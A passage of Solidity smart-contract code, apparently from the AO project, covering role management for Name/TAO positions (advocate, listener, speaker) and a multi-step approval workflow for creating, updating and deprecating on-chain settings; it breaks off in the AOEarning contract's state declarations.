modifier onlyTheAO {
require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress));
_;
}
/**
* @dev Check if calling address is Factory
*/
modifier onlyFactory {
require (msg.sender == nameFactoryAddress || msg.sender == taoFactoryAddress);
_;
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_nameId` is a Name
*/
modifier isName(address _nameId) {
require (AOLibrary.isName(_nameId));
_;
}
/**
* @dev Check if `_id` is a Name or a TAO
*/
modifier isNameOrTAO(address _id) {
require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id));
_;
}
/**
* @dev Check is msg.sender address is a Name
*/
modifier senderIsName() {
require (_nameFactory.ethAddressToNameId(msg.sender) != address(0));
_;
}
/**
* @dev Check if msg.sender is the current advocate of a Name/TAO ID
*/
modifier onlyAdvocate(address _id) {
require (senderIsAdvocate(msg.sender, _id));
_;
}
/***** The AO ONLY METHODS *****/
/**
* @dev Transfer ownership of The AO to new address
* @param _theAO The new address to be transferred
*/
function transferOwnership(address _theAO) public onlyTheAO {
require (_theAO != address(0));
theAO = _theAO;
}
/**
* @dev Whitelist `_account` address to transact on behalf of others
* @param _account The address to whitelist
* @param _whitelist Either to whitelist or not
*/
function setWhitelist(address _account, bool _whitelist) public onlyTheAO {
require (_account != address(0));
whitelist[_account] = _whitelist;
}
/**
* @dev The AO set the taoFactoryAddress Address
* @param _taoFactoryAddress The address of TAOFactory
*/
function setTAOFactoryAddress(address _taoFactoryAddress) public onlyTheAO {
require (_taoFactoryAddress != address(0));
taoFactoryAddress = _taoFactoryAddress;
_taoFactory = TAOFactory(_taoFactoryAddress);
}
/***** PUBLIC METHODS *****/
/**
* @dev Check whether or not a Name/TAO ID exist in the list
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function isExist(address _id) public view returns (bool) {
return positions[_id].created;
}
/**
* @dev Check whether or not eth address is advocate of _id
* @param _sender The eth address to check
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function senderIsAdvocate(address _sender, address _id) public view returns (bool) {
return (positions[_id].created && positions[_id].advocateId == _nameFactory.ethAddressToNameId(_sender));
}
/**
* @dev Check whether or not eth address is either Advocate/Listener/Speaker of _id
* @param _sender The eth address to check
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function senderIsPosition(address _sender, address _id) public view returns (bool) {
address _nameId = _nameFactory.ethAddressToNameId(_sender);
if (_nameId == address(0)) {
return false;
} else {
return (positions[_id].created &&
(positions[_id].advocateId == _nameId ||
positions[_id].listenerId == _nameId ||
positions[_id].speakerId == _nameId
)
);
}
}
/**
* @dev Check whether or not _nameId is advocate of _id
* @param _nameId The name ID to be checked
* @param _id The ID to be checked
* @return true if yes, false otherwise
*/
function nameIsAdvocate(address _nameId, address _id) public view returns (bool) {
return (positions[_id].created && positions[_id].advocateId == _nameId);
}
/**
* @dev Determine whether or not `_sender` is Advocate/Listener/Speaker of the Name/TAO
* @param _sender The ETH address that to check
* @param _id The ID of the Name/TAO
* @return 1 if Advocate. 2 if Listener. 3 if Speaker
*/
function determinePosition(address _sender, address _id) public view returns (uint256) {
require (senderIsPosition(_sender, _id));
Position memory _position = positions[_id];
address _nameId = _nameFactory.ethAddressToNameId(_sender);
if (_nameId == _position.advocateId) {
return 1;
} else if (_nameId == _position.listenerId) {
return 2;
} else {
return 3;
}
}
/**
* @dev Add Position for a Name/TAO
* @param _id The ID of the Name/TAO
* @param _advocateId The Advocate ID of the Name/TAO
* @param _listenerId The Listener ID of the Name/TAO
* @param _speakerId The Speaker ID of the Name/TAO
* @return true on success
*/
function add(address _id, address _advocateId, address _listenerId, address _speakerId)
public
isNameOrTAO(_id)
isName(_advocateId)
isNameOrTAO(_listenerId)
isNameOrTAO(_speakerId)
onlyFactory returns (bool) {
require (!isExist(_id));
Position storage _position = positions[_id];
_position.advocateId = _advocateId;
_position.listenerId = _listenerId;
_position.speakerId = _speakerId;
_position.created = true;
return true;
}
/**
* @dev Get Name/TAO's Position info
* @param _id The ID of the Name/TAO
* @return the Advocate ID of Name/TAO
* @return the Listener ID of Name/TAO
* @return the Speaker ID of Name/TAO
*/
function getPositionById(address _id) public view returns (address, address, address) {
require (isExist(_id));
Position memory _position = positions[_id];
return (
_position.advocateId,
_position.listenerId,
_position.speakerId
);
}
/**
* @dev Get Name/TAO's Advocate
* @param _id The ID of the Name/TAO
* @return the Advocate ID of Name/TAO
*/
function getAdvocate(address _id) public view returns (address) {
require (isExist(_id));
Position memory _position = positions[_id];
return _position.advocateId;
}
/**
* @dev Get Name/TAO's Listener
* @param _id The ID of the Name/TAO
* @return the Listener ID of Name/TAO
*/
function getListener(address _id) public view returns (address) {
require (isExist(_id));
Position memory _position = positions[_id];
return _position.listenerId;
}
/**
* @dev Get Name/TAO's Speaker
* @param _id The ID of the Name/TAO
* @return the Speaker ID of Name/TAO
*/
function getSpeaker(address _id) public view returns (address) {
require (isExist(_id));
Position memory _position = positions[_id];
return _position.speakerId;
}
/**
* @dev Set Advocate for a TAO
* @param _taoId The ID of the TAO
* @param _newAdvocateId The new advocate ID to be set
*/
function setAdvocate(address _taoId, address _newAdvocateId)
public
isTAO(_taoId)
isName(_newAdvocateId)
senderIsName()
onlyAdvocate(_taoId) {
Position storage _position = positions[_taoId];
address _currentAdvocateId = _position.advocateId;
_position.advocateId = _newAdvocateId;
uint256 _nonce = _taoFactory.incrementNonce(_taoId);
require (_nonce > 0);
emit SetAdvocate(_taoId, _currentAdvocateId, _position.advocateId, _nonce);
}
/**
* @dev Set Listener for a Name/TAO
* @param _id The ID of the Name/TAO
* @param _newListenerId The new listener ID to be set
*/
function setListener(address _id, address _newListenerId)
public
isNameOrTAO(_id)
isNameOrTAO(_newListenerId)
senderIsName()
onlyAdvocate(_id) {
// If _id is a Name, then new Listener can only be a Name
// If _id is a TAO, then new Listener can be a TAO/Name
bool _isName = false;
if (AOLibrary.isName(_id)) {
_isName = true;
require (AOLibrary.isName(_newListenerId));
}
Position storage _position = positions[_id];
address _currentListenerId = _position.listenerId;
_position.listenerId = _newListenerId;
if (_isName) {
uint256 _nonce = _nameFactory.incrementNonce(_id);
} else {
_nonce = _taoFactory.incrementNonce(_id);
}
emit SetListener(_id, _currentListenerId, _position.listenerId, _nonce);
}
/**
* @dev Set Speaker for a Name/TAO
* @param _id The ID of the Name/TAO
* @param _newSpeakerId The new speaker ID to be set
*/
function setSpeaker(address _id, address _newSpeakerId)
public
isNameOrTAO(_id)
isNameOrTAO(_newSpeakerId)
senderIsName()
onlyAdvocate(_id) {
// If _id is a Name, then new Speaker can only be a Name
// If _id is a TAO, then new Speaker can be a TAO/Name
bool _isName = false;
if (AOLibrary.isName(_id)) {
_isName = true;
require (AOLibrary.isName(_newSpeakerId));
}
Position storage _position = positions[_id];
address _currentSpeakerId = _position.speakerId;
_position.speakerId = _newSpeakerId;
if (_isName) {
uint256 _nonce = _nameFactory.incrementNonce(_id);
} else {
_nonce = _taoFactory.incrementNonce(_id);
}
emit SetSpeaker(_id, _currentSpeakerId, _position.speakerId, _nonce);
}
}
/**
* @title AOSetting
*
* This contract stores all AO setting variables
*/
contract AOSetting {
address public aoSettingAttributeAddress;
address public aoUintSettingAddress;
address public aoBoolSettingAddress;
address public aoAddressSettingAddress;
address public aoBytesSettingAddress;
address public aoStringSettingAddress;
NameFactory internal _nameFactory;
NameTAOPosition internal _nameTAOPosition;
AOSettingAttribute internal _aoSettingAttribute;
AOUintSetting internal _aoUintSetting;
AOBoolSetting internal _aoBoolSetting;
AOAddressSetting internal _aoAddressSetting;
AOBytesSetting internal _aoBytesSetting;
AOStringSetting internal _aoStringSetting;
uint256 public totalSetting;
/**
* Mapping from associatedTAOId's setting name to Setting ID.
*
* Instead of concatenating the associatedTAOID and setting name to create a unique ID for lookup,
* use nested mapping to achieve the same result.
*
* The setting's name needs to be converted to bytes32 since solidity does not support mapping by string.
*/
mapping (address => mapping (bytes32 => uint256)) internal nameSettingLookup;
// Mapping from updateHashKey to it's settingId
mapping (bytes32 => uint256) public updateHashLookup;
// Event to be broadcasted to public when a setting is created and waiting for approval
event SettingCreation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, string settingName, uint8 settingType, bytes32 associatedTAOSettingId, bytes32 creatorTAOSettingId);
// Event to be broadcasted to public when setting creation is approved/rejected by the advocate of associatedTAOId
event ApproveSettingCreation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved);
// Event to be broadcasted to public when setting creation is finalized by the advocate of creatorTAOId
event FinalizeSettingCreation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate);
// Event to be broadcasted to public when a proposed update for a setting is created
event SettingUpdate(uint256 indexed settingId, address indexed updateAdvocateNameId, address proposalTAOId);
// Event to be broadcasted to public when setting update is approved/rejected by the advocate of proposalTAOId
event ApproveSettingUpdate(uint256 indexed settingId, address proposalTAOId, address proposalTAOAdvocate, bool approved);
// Event to be broadcasted to public when setting update is finalized by the advocate of associatedTAOId
event FinalizeSettingUpdate(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate);
// Event to be broadcasted to public when a setting deprecation is created and waiting for approval
event SettingDeprecation(uint256 indexed settingId, address indexed creatorNameId, address creatorTAOId, address associatedTAOId, uint256 newSettingId, address newSettingContractAddress, bytes32 associatedTAOSettingDeprecationId, bytes32 creatorTAOSettingDeprecationId);
// Event to be broadcasted to public when setting deprecation is approved/rejected by the advocate of associatedTAOId
event ApproveSettingDeprecation(uint256 indexed settingId, address associatedTAOId, address associatedTAOAdvocate, bool approved);
// Event to be broadcasted to public when setting deprecation is finalized by the advocate of creatorTAOId
event FinalizeSettingDeprecation(uint256 indexed settingId, address creatorTAOId, address creatorTAOAdvocate);
/**
* @dev Constructor function
*/
constructor(address _nameFactoryAddress,
address _nameTAOPositionAddress,
address _aoSettingAttributeAddress,
address _aoUintSettingAddress,
address _aoBoolSettingAddress,
address _aoAddressSettingAddress,
address _aoBytesSettingAddress,
address _aoStringSettingAddress) public {
aoSettingAttributeAddress = _aoSettingAttributeAddress;
aoUintSettingAddress = _aoUintSettingAddress;
aoBoolSettingAddress = _aoBoolSettingAddress;
aoAddressSettingAddress = _aoAddressSettingAddress;
aoBytesSettingAddress = _aoBytesSettingAddress;
aoStringSettingAddress = _aoStringSettingAddress;
_nameFactory = NameFactory(_nameFactoryAddress);
_nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress);
_aoSettingAttribute = AOSettingAttribute(_aoSettingAttributeAddress);
_aoUintSetting = AOUintSetting(_aoUintSettingAddress);
_aoBoolSetting = AOBoolSetting(_aoBoolSettingAddress);
_aoAddressSetting = AOAddressSetting(_aoAddressSettingAddress);
_aoBytesSetting = AOBytesSetting(_aoBytesSettingAddress);
_aoStringSetting = AOStringSetting(_aoStringSettingAddress);
}
/**
* @dev Check if `_taoId` is a TAO
*/
modifier isTAO(address _taoId) {
require (AOLibrary.isTAO(_taoId));
_;
}
/**
* @dev Check if `_settingName` of `_associatedTAOId` is taken
*/
modifier settingNameNotTaken(string _settingName, address _associatedTAOId) {
require (settingNameExist(_settingName, _associatedTAOId) == false);
_;
}
/**
* @dev Check if msg.sender is the current advocate of Name ID
*/
modifier onlyAdvocate(address _id) {
require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id));
_;
}
/***** Public Methods *****/
/**
* @dev Check whether or not a setting name of an associatedTAOId exist
* @param _settingName The human-readable name of the setting
* @param _associatedTAOId The taoId that the setting affects
* @return true if yes. false otherwise
*/
function settingNameExist(string _settingName, address _associatedTAOId) public view returns (bool) {
return (nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] > 0);
}
/**
* @dev Advocate of _creatorTAOId adds a uint setting
* @param _settingName The human-readable name of the setting
* @param _value The uint256 value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addUintSetting(string _settingName, uint256 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoUintSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 1, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds a bool setting
* @param _settingName The human-readable name of the setting
* @param _value The bool value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addBoolSetting(string _settingName, bool _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoBoolSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 2, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds an address setting
* @param _settingName The human-readable name of the setting
* @param _value The address value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addAddressSetting(string _settingName, address _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoAddressSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 3, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds a bytes32 setting
* @param _settingName The human-readable name of the setting
* @param _value The bytes32 value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addBytesSetting(string _settingName, bytes32 _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoBytesSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 4, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of _creatorTAOId adds a string setting
* @param _settingName The human-readable name of the setting
* @param _value The string value of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function addStringSetting(string _settingName, string _value, address _creatorTAOId, address _associatedTAOId, string _extraData) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) settingNameNotTaken(_settingName, _associatedTAOId) onlyAdvocate(_creatorTAOId) {
// Update global variables
totalSetting++;
// Store the value as pending value
_aoStringSetting.setPendingValue(totalSetting, _value);
// Store setting creation data
_storeSettingCreation(_nameFactory.ethAddressToNameId(msg.sender), 5, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
}
/**
* @dev Advocate of Setting's _associatedTAOId approves setting creation
* @param _settingId The ID of the setting to approve
* @param _approved Whether to approve or reject
*/
function approveSettingCreation(uint256 _settingId, bool _approved) public {
address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.approveAdd(_settingId, _associatedTAOAdvocate, _approved));
(,,,address _associatedTAOId, string memory _settingName,,,,,) = _aoSettingAttribute.getSettingData(_settingId);
if (!_approved) {
// Clear the settingName from nameSettingLookup so it can be added again in the future
delete nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))];
}
emit ApproveSettingCreation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved);
}
/**
* @dev Advocate of Setting's _creatorTAOId finalizes the setting creation once the setting is approved
* @param _settingId The ID of the setting to be finalized
*/
function finalizeSettingCreation(uint256 _settingId) public {
address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.finalizeAdd(_settingId, _creatorTAOAdvocate));
(,,address _creatorTAOId,,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId);
_movePendingToSetting(_settingId, _settingType);
emit FinalizeSettingCreation(_settingId, _creatorTAOId, _creatorTAOAdvocate);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a uint256 setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new uint256 value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateUintSetting(uint256 _settingId, uint256 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 1, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoUintSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoUintSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a bool setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new bool value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateBoolSetting(uint256 _settingId, bool _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 2, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoBoolSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBoolSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits an address setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new address value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateAddressSetting(uint256 _settingId, address _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 3, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoAddressSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoAddressSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a bytes32 setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new bytes32 value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateBytesSetting(uint256 _settingId, bytes32 _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 4, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoBytesSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoBytesSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's _associatedTAOId submits a string setting update after an update has been proposed
* @param _settingId The ID of the setting to be updated
* @param _newValue The new string value for this setting
* @param _proposalTAOId The child of the associatedTAOId with the update Logos
* @param _updateSignature A signature of the proposalTAOId and update value by associatedTAOId's advocate's name address
* @param _extraData Catch-all string value to be stored if exist
*/
function updateStringSetting(uint256 _settingId, string _newValue, address _proposalTAOId, string _updateSignature, string _extraData) public isTAO(_proposalTAOId) {
// Store the setting state data
require (_aoSettingAttribute.update(_settingId, 5, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId, _updateSignature, _extraData));
// Store the value as pending value
_aoStringSetting.setPendingValue(_settingId, _newValue);
// Store the update hash key lookup
updateHashLookup[keccak256(abi.encodePacked(this, _proposalTAOId, _aoStringSetting.settingValue(_settingId), _newValue, _extraData, _settingId))] = _settingId;
emit SettingUpdate(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _proposalTAOId);
}
/**
* @dev Advocate of Setting's proposalTAOId approves the setting update
* @param _settingId The ID of the setting to be approved
* @param _approved Whether to approve or reject
*/
function approveSettingUpdate(uint256 _settingId, bool _approved) public {
address _proposalTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
(,,, address _proposalTAOId,,,) = _aoSettingAttribute.getSettingState(_settingId);
require (_aoSettingAttribute.approveUpdate(_settingId, _proposalTAOAdvocate, _approved));
emit ApproveSettingUpdate(_settingId, _proposalTAOId, _proposalTAOAdvocate, _approved);
}
/**
* @dev Advocate of Setting's _associatedTAOId finalizes the setting update once the setting is approved
* @param _settingId The ID of the setting to be finalized
*/
function finalizeSettingUpdate(uint256 _settingId) public {
address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.finalizeUpdate(_settingId, _associatedTAOAdvocate));
(,,, address _associatedTAOId,, uint8 _settingType,,,,) = _aoSettingAttribute.getSettingData(_settingId);
_movePendingToSetting(_settingId, _settingType);
emit FinalizeSettingUpdate(_settingId, _associatedTAOId, _associatedTAOAdvocate);
}
/**
* @dev Advocate of _creatorTAOId adds a setting deprecation
* @param _settingId The ID of the setting to be deprecated
* @param _newSettingId The new setting ID to route
* @param _newSettingContractAddress The new setting contract address to route
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
*/
function addSettingDeprecation(uint256 _settingId, uint256 _newSettingId, address _newSettingContractAddress, address _creatorTAOId, address _associatedTAOId) public isTAO(_creatorTAOId) isTAO(_associatedTAOId) onlyAdvocate(_creatorTAOId) {
(bytes32 _associatedTAOSettingDeprecationId, bytes32 _creatorTAOSettingDeprecationId) = _aoSettingAttribute.addDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress);
emit SettingDeprecation(_settingId, _nameFactory.ethAddressToNameId(msg.sender), _creatorTAOId, _associatedTAOId, _newSettingId, _newSettingContractAddress, _associatedTAOSettingDeprecationId, _creatorTAOSettingDeprecationId);
}
/**
* @dev Advocate of SettingDeprecation's _associatedTAOId approves setting deprecation
* @param _settingId The ID of the setting to approve
* @param _approved Whether to approve or reject
*/
function approveSettingDeprecation(uint256 _settingId, bool _approved) public {
address _associatedTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.approveDeprecation(_settingId, _associatedTAOAdvocate, _approved));
(,,, address _associatedTAOId,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId);
emit ApproveSettingDeprecation(_settingId, _associatedTAOId, _associatedTAOAdvocate, _approved);
}
/**
* @dev Advocate of SettingDeprecation's _creatorTAOId finalizes the setting deprecation once the setting deprecation is approved
* @param _settingId The ID of the setting to be finalized
*/
function finalizeSettingDeprecation(uint256 _settingId) public {
address _creatorTAOAdvocate = _nameFactory.ethAddressToNameId(msg.sender);
require (_aoSettingAttribute.finalizeDeprecation(_settingId, _creatorTAOAdvocate));
(,, address _creatorTAOId,,,,,,,,,) = _aoSettingAttribute.getSettingDeprecation(_settingId);
emit FinalizeSettingDeprecation(_settingId, _creatorTAOId, _creatorTAOAdvocate);
}
/**
* @dev Get setting Id given an associatedTAOId and settingName
* @param _associatedTAOId The ID of the AssociatedTAO
* @param _settingName The name of the setting
* @return the ID of the setting
*/
function getSettingIdByTAOName(address _associatedTAOId, string _settingName) public view returns (uint256) {
return nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))];
}
/**
* @dev Get setting values by setting ID.
* Will throw error if the setting is not exist or rejected.
* @param _settingId The ID of the setting
* @return the uint256 value of this setting ID
* @return the bool value of this setting ID
* @return the address value of this setting ID
* @return the bytes32 value of this setting ID
* @return the string value of this setting ID
*/
function getSettingValuesById(uint256 _settingId) public view returns (uint256, bool, address, bytes32, string) {
require (_aoSettingAttribute.settingExist(_settingId));
_settingId = _aoSettingAttribute.getLatestSettingId(_settingId);
return (
_aoUintSetting.settingValue(_settingId),
_aoBoolSetting.settingValue(_settingId),
_aoAddressSetting.settingValue(_settingId),
_aoBytesSetting.settingValue(_settingId),
_aoStringSetting.settingValue(_settingId)
);
}
/**
* @dev Get setting values by taoId and settingName.
* Will throw error if the setting is not exist or rejected.
* @param _taoId The ID of the TAO
* @param _settingName The name of the setting
* @return the uint256 value of this setting ID
* @return the bool value of this setting ID
* @return the address value of this setting ID
* @return the bytes32 value of this setting ID
* @return the string value of this setting ID
*/
function getSettingValuesByTAOName(address _taoId, string _settingName) public view returns (uint256, bool, address, bytes32, string) {
return getSettingValuesById(getSettingIdByTAOName(_taoId, _settingName));
}
/***** Internal Method *****/
/**
* @dev Store setting creation data
* @param _creatorNameId The nameId that created the setting
* @param _settingType The type of this setting. 1 => uint256, 2 => bool, 3 => address, 4 => bytes32, 5 => string
* @param _settingName The human-readable name of the setting
* @param _creatorTAOId The taoId that created the setting
* @param _associatedTAOId The taoId that the setting affects
* @param _extraData Catch-all string value to be stored if exist
*/
function _storeSettingCreation(address _creatorNameId, uint8 _settingType, string _settingName, address _creatorTAOId, address _associatedTAOId, string _extraData) internal {
// Make sure _settingType is in supported list
require (_settingType >= 1 && _settingType <= 5);
// Store nameSettingLookup
nameSettingLookup[_associatedTAOId][keccak256(abi.encodePacked(this, _settingName))] = totalSetting;
// Store setting data/state
(bytes32 _associatedTAOSettingId, bytes32 _creatorTAOSettingId) = _aoSettingAttribute.add(totalSetting, _creatorNameId, _settingType, _settingName, _creatorTAOId, _associatedTAOId, _extraData);
emit SettingCreation(totalSetting, _creatorNameId, _creatorTAOId, _associatedTAOId, _settingName, _settingType, _associatedTAOSettingId, _creatorTAOSettingId);
}
/**
* @dev Move value of _settingId from pending variable to setting variable
* @param _settingId The ID of the setting
* @param _settingType The type of the setting
*/
function _movePendingToSetting(uint256 _settingId, uint8 _settingType) internal {
// If settingType == uint256
if (_settingType == 1) {
_aoUintSetting.movePendingToSetting(_settingId);
} else if (_settingType == 2) {
// Else if settingType == bool
_aoBoolSetting.movePendingToSetting(_settingId);
} else if (_settingType == 3) {
// Else if settingType == address
_aoAddressSetting.movePendingToSetting(_settingId);
} else if (_settingType == 4) {
// Else if settingType == bytes32
_aoBytesSetting.movePendingToSetting(_settingId);
} else {
// Else if settingType == string
_aoStringSetting.movePendingToSetting(_settingId);
}
}
}
/**
* @title AOEarning
*
* This contract stores the earning from staking/hosting content on AO
*/
contract AOEarning is TheAO {
using SafeMath for uint256;
address public settingTAOId;
address public aoSettingAddress;
address public baseDenominationAddress;
address public treasuryAddress;
address public nameFactoryAddress;
address public pathosAddress;
address public ethosAddress;
bool public paused;
bool public killed;
AOToken internal _baseAO;
AOTreasury internal _treasury;
NameFactory internal _nameFactory;
Pathos internal _pathos;
Ethos internal _ethos;
AOSetting internal _aoSetting;
// Total earning from staking content from all nodes
uint256 public totalStakeContentEarning;
// Total earning from hosting content from all nodes
uint256 public totalHostContentEarning;
// Total The AO earning
uint256 public totalTheAOEarning;
// Mapping from address to his/her earning from content that he/she staked
mapping (address => uint256) public stakeContentEarning;
// Mapping from address to his/her earning from content that he/she hosted
mapping (address => uint256) public hostContentEarning;
// Mapping from address to his/her network price earning
// i.e, when staked amount = filesize
mapping (address => uint256) public networkPriceEarning;
// Mapping from address to his/her content price earning
// i.e, when staked amount > filesize
mapping (address => uint256) public contentPriceEarning;
// Mapping from address to his/her inflation bonus
mapping (address => uint256) public inflationBonusAccrued;
struct Earning {
bytes32 purchaseId;
uint256 paymentEarning;
uint256 inflationBonus;
uint256 pathosAmount;
uint256 ethosAmount;
}
// Mapping from address to earning from staking content of a purchase ID
mapping (address => mapping(bytes32 => Earning)) public stakeEarnings;
// Mapping from address to earning from hosting content of a purchase ID
mapping (address => mapping(bytes32 => Earning)) public hostEarnings;
// Mapping from purchase ID to earning for The AO
mapping (bytes32 => Earning) public theAOEarnings;
// Mapping from stake ID to it's total earning from staking
mapping (bytes32 => uint256) public totalStakedContentStakeEarning;
// Mapping from stake ID to it's total earning from hosting
mapping (bytes32 => uint256) public totalStakedContentHostEarning;
// Mapping from stake ID to it's total earning earned by The AO
